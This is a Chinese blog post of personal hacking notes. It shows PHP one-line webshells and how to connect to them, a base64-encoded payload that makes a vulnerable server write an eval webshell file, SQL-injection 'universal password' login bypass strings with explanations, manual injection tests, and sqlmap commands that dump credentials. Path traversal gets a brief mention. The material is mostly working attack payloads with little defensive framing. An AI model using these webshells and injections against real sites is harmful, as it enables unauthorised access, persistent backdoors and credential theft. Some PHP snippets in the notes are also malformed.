笔记

一句话木马代码分析

<?php $_GET['POST']($_POST['GET'])?>;

故意使用了post和get用来迷惑人

https://127.0.0.1/shy.php?POST=assert  密码:GET

 

1.php <?php $_GET['a']($_POST['b'])?>;

$_Get()he $_POST函数是用来传参数的值的

<a  herf="2.php?id='10'&name='xiaoqiang'">传值</a>  在1.php中单击超链接传值
<?php

echo "$_Get['id']";

echo "$_Post['name']";

?>

<html>

<head>

</head>

<body>

<form action="" method="post">

<input type="text" name="test" /> //接收表单的name为 "mima"的数据

<?php>

echo "$_Post['test']";  //获取文本框中的值,并且在当前页中显示

?>

</body>

</html>

 

127.0.0.1/1.php?a=eval   菜刀链接  密码为b

使用eval会报错生产木马失败,使用assert也会报错但会生成木马

代码:

$_GET[a]($_GET[b]);

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29

fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))

fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1))

任意文件下载

./ 当前文件夹 ../上一层  ../../../ 上三层(如果没有三层 就回到根目录)

登录框sql注入-万能密码

admin' or 1=1#

admin' or '1'='1

‘or’='or'

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'

逻辑运算的优先顺序是NOT>OR>AND

 Username='1' 假  1=1 真 '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG' 假

假 or 真 or 假  为真

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = 'admin'or '1'='1';";
 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' )

 

输入的参数xx为整型时,通常test.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=xx

所以可以用以下步骤测试SQL注入是否存在。

①HTTP://www.xxx.xxx/text.asp?p=xx’(附加一个单引号)此时abc.ASP中的SQL语句变成了

select * from 表名 where 字段=YY’

数据库无法处理,返回异常;

②HTTP://www.xxx.xxx/test.asp?p=xx and 1=1。1=1为真 test.asp运行正常,而且与没加语句之前的test.asp?p=xx运行结果一样正常显示;

③HTTP://www.xxx.xxx/test.asp?p=YY and 1=2,语句为假,因为1≠2  test.asp运行异常;如果以上三步全面满足,test.asp中一定存在SQL注入漏洞。
 

select id from users where username = '' or 1=1--  and password = '456'

=优先于and优先于or username = '' 假  1=1 真  假or真 为真

$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"

账号密码同时尝试输入:admin' or '1'='1#

00x1 SQL万能密码的构造


 

在登录框当中可以添加了一个单引号。报错信息如下所示:

据此报错,我们大概的可以猜测其网站的正常是SQL语句如下:

$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"

即使如此,那么来尝试将其闭合。

账号密码同时尝试输入:admin' or '1'='1#

 

可见成功登陆。那么我们来分析一下原因吧。

当我们账号输入admin' or '1'='1的时候(密码随意填写),到SQL语句里的执行就是

$sql="select username,password from 表明 where username='test' or '1'='1'

最后的那个单引号是系统自动加上去的。所以我们不必画蛇添足。

至于密码部分全部被#消除了。完整的sql语句是:

$sql="select username,password from 表明 where username='admin' or '1'='1# and password='$password' limit 0,1"

如此一来,系统会自动加一个单引号。就变成了如下语句:

$sql="select username,password from 表明 where username='admin' or '1'='1'"

如此一来就成功绕过了登陆进入网站的后台。

 

sql注入

sqlmap.py -u http://127.0.0.1/1.php?id=1 --level=3

 --dbs  --tables --columns 

-C id,name,passwd  --dump

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值